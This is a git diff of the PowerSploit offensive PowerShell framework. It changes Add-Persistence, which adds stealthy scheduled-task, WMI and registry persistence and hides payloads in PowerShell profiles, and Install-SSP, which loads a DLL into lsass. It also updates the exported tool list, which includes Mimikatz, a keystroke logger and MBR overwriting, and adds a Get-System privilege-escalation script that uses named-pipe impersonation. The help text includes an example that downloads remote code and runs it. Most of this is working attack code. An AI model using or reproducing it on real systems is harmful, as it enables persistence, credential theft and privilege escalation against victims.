C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param (
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
[Switch]
$PermanentWMI,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
@@ -97,6 +104,10 @@ function New-ElevatedPersistenceOption
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
@@ -156,6 +167,12 @@ function New-ElevatedPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -174,65 +191,72 @@ function New-UserPersistenceOption
<#
.SYNOPSIS
Configure user-level persistence options for the Add-Persistence function.
Configure user-level persistence options for the Add-Persistence function.
PowerSploit Function: New-UserPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: New-UserPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
.PARAMETER ScheduledTask
Persist via a scheduled task.
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
Starts the payload upon any user logon.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
@@ -245,6 +269,10 @@ function New-UserPersistenceOption
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
@@ -285,6 +313,12 @@ function New-UserPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -303,99 +337,104 @@ function Add-Persistence
<#
.SYNOPSIS
Add persistence capabilities to a script.
Add persistence capabilities to a script.
PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
Optional Dependencies: None
PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
Optional Dependencies: None
.DESCRIPTION
Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
Specifies a scriptblock containing your payload.
.PARAMETER FilePath
Specifies the path to your payload.
Specifies the path to your payload.
.PARAMETER ElevatedPersistenceOption
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOption to generate this argument.
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOption to generate this argument.
.PARAMETER UserPersistenceOption
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOption to generate this argument.
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOption to generate this argument.
.PARAMETER PersistenceScriptName
Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
.PARAMETER DoNotPersistImmediately
Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
.PARAMETER PersistentScriptFilePath
Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
.PARAMETER RemovalScriptFilePath
Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
.PARAMETER PassThru
Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
.INPUTS
None
None
Add-Persistence cannot receive any input from the pipeline.
Add-Persistence cannot receive any input from the pipeline.
.OUTPUTS
System.Management.Automation.ScriptBlock
System.Management.Automation.ScriptBlock
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
.NOTES
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
.EXAMPLE
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
Description
-----------
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
Description
-----------
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
.EXAMPLE
C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
Description
-----------
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
Description
-----------
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
.LINK
http://www.exploit-monday.com
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')]
[CmdletBinding()]
Param (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
@@ -497,7 +536,6 @@ function Add-Persistence
#region Initialize data
$CompressedScript = ''
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = "''"
@@ -568,12 +606,17 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
}
'Daily'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'Hourly'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR "
}
'OnIdle'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
@@ -617,6 +660,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'Hourly'
{
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
}
'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
@@ -692,11 +740,13 @@ else
$PersistenceRemoval = @"
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo
"@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose "Persistence script written to $PersistentScriptFile"
@@ -719,10 +769,10 @@ function Install-SSP
Installs a security support provider (SSP) dll.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -745,7 +795,12 @@ if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')]
[CmdletBinding()]
Param (
[ValidateScript({Test-Path (Resolve-Path $_)})]
[String]
$Path
@@ -771,43 +826,43 @@ into lsass, the dll must export SpLsaModeInitialize.
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output '32-bit'
@@ -835,7 +890,7 @@ into lsass, the dll must export SpLsaModeInitialize.
# Get the dll filename without the extension.
# This will be added to the registry.
$DllName = $Dll | % { % {($_ -split '\.')[0]} }
$DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} }
# Enumerate all of the currently installed SSPs
$SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' |
@@ -888,7 +943,8 @@ into lsass, the dll must export SpLsaModeInitialize.
if ([IntPtr]::Size -eq 4) {
$StructSize = 20
} else {
}
else {
$StructSize = 24
}
@@ -899,7 +955,8 @@ into lsass, the dll must export SpLsaModeInitialize.
try {
$Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
} catch {
}
catch {
$HResult = $Error[0].Exception.InnerException.HResult
Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"
Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
@@ -908,34 +965,37 @@ into lsass, the dll must export SpLsaModeInitialize.
if ($RuntimeSuccess) {
Write-Verbose 'Installation and loading complete!'
} else {
}
else {
Write-Verbose 'Installation complete! Reboot for changes to take effect.'
}
}
function Get-SecurityPackages
function Get-SecurityPackage
{
<#
.SYNOPSIS
Enumerates all loaded security packages (SSPs).
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages.
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.
.EXAMPLE
Get-SecurityPackages
Get-SecurityPackage
#>
[CmdletBinding()] Param()
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding()]
Param()
#region P/Invoke declarations for secur32.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
@@ -1044,4 +1104,4 @@ Get-SecurityPackages
$SecPackage
}
}
}
+18 -10
View File
@@ -25,26 +25,29 @@ FunctionsToExport = @(
'Add-NetUser',
'Add-ObjectAcl',
'Add-Persistence',
'Add-ServiceDacl',
'Convert-NameToSid',
'Convert-NT4toCanonical',
'Convert-SidToName',
'Copy-ClonedFile',
'Find-AVSignature',
'Find-ComputerField',
'Find-DLLHijack',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-PathHijack',
'Find-PathDLLHijack',
'Find-ProcessDLLHijack',
'Find-ManagedSecurityGroups',
'Find-UserField',
'Get-ADObject',
'Get-ApplicationHost',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-CurrentUserTokenGroupSid',
'Get-DFSshare',
'Get-DomainPolicy',
'Get-ExploitableSystem',
@@ -52,6 +55,11 @@ FunctionsToExport = @(
'Get-HttpStatus',
'Get-Keystrokes',
'Get-LastLoggedOn',
'Get-ModifiablePath',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-ModifiableService',
'Get-ModifiableServiceFile',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
@@ -78,26 +86,23 @@ FunctionsToExport = @(
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-SecurityPackages',
'Get-ServiceDetail',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceUnquoted',
'Get-SiteListPassword',
'Get-System',
'Get-TimedScreenshot',
'Get-UnattendedInstallFile',
'Get-UnquotedService',
'Get-UserEvent',
'Get-UserProperty',
'Get-VaultCredential',
'Get-VolumeShadowCopy',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-Webconfig',
'Install-ServiceBinary',
'Install-SSP',
'Invoke-ACLScanner',
'Invoke-AllChecks',
'Invoke-CheckLocalAdminAccess',
'Invoke-CredentialInjection',
'Invoke-DllInjection',
@@ -108,6 +113,7 @@ FunctionsToExport = @(
'Invoke-Mimikatz',
'Invoke-NinjaCopy',
'Invoke-Portscan',
'Invoke-PrivescAudit',
'Invoke-ProcessHunter',
'Invoke-ReflectivePEInjection',
'Invoke-ReverseDnsLookup',
@@ -132,6 +138,8 @@ FunctionsToExport = @(
'Set-CriticalProcess',
'Set-MacAttribute',
'Set-MasterBootRecord',
'Set-ServiceBinPath',
'Test-ServiceDaclPermission',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking }
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.FullName -DisableNameChecking }
+600
View File
@@ -0,0 +1,600 @@
function Get-System {
<#
.SYNOPSIS
GetSystem functionality inspired by Meterpreter's getsystem.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
Executes "getsystem" functionality similar to Meterpreter.
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
token duplication works correctly.
.PARAMETER Technique
The technique to use, 'NamedPipe' or 'Token'.
.PARAMETER ServiceName
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER PipeName
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER RevToSelf
Reverts the current thread privileges.
.PARAMETER WhoAmI
Switch. Display the credentials for the current PowerShell thread.
.EXAMPLE
Get-System
Uses named impersonate to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.
.EXAMPLE
Get-System -Technique Token
Uses token duplication to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -WhoAmI
Displays the credentials for the current thread.
.EXAMPLE
Get-System -RevToSelf
Reverts the current thread privileges.
.LINK
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
param(
[Parameter(ParameterSetName = 'NamedPipe')]
[Parameter(ParameterSetName = 'Token')]
[String]
[ValidateSet('NamedPipe', 'Token')]
$Technique = 'NamedPipe',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$ServiceName = 'TestSVC',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$PipeName = 'TestSVC',
[Parameter(ParameterSetName = 'RevToSelf')]
[Switch]
$RevToSelf,
[Parameter(ParameterSetName = 'WhoAmI')]
[Switch]
$WhoAmI
)
$ErrorActionPreference = 'Stop'
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# performs named pipe impersonation to elevate to SYSTEM without needing
# SeDebugPrivilege
function Local:Get-SystemNamedPipe {
param(
[String]
$ServiceName = 'TestSVC',
[String]
$PipeName = 'TestSVC'
)
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
Add-Type -Assembly System.Core
# create the named pipe used for impersonation and set appropriate permissions
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow')
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity)
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
# Declare/setup all the needed API function
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
# Step 1 - OpenSCManager()
# 0xF003F = SC_MANAGER_ALL_ACCESS
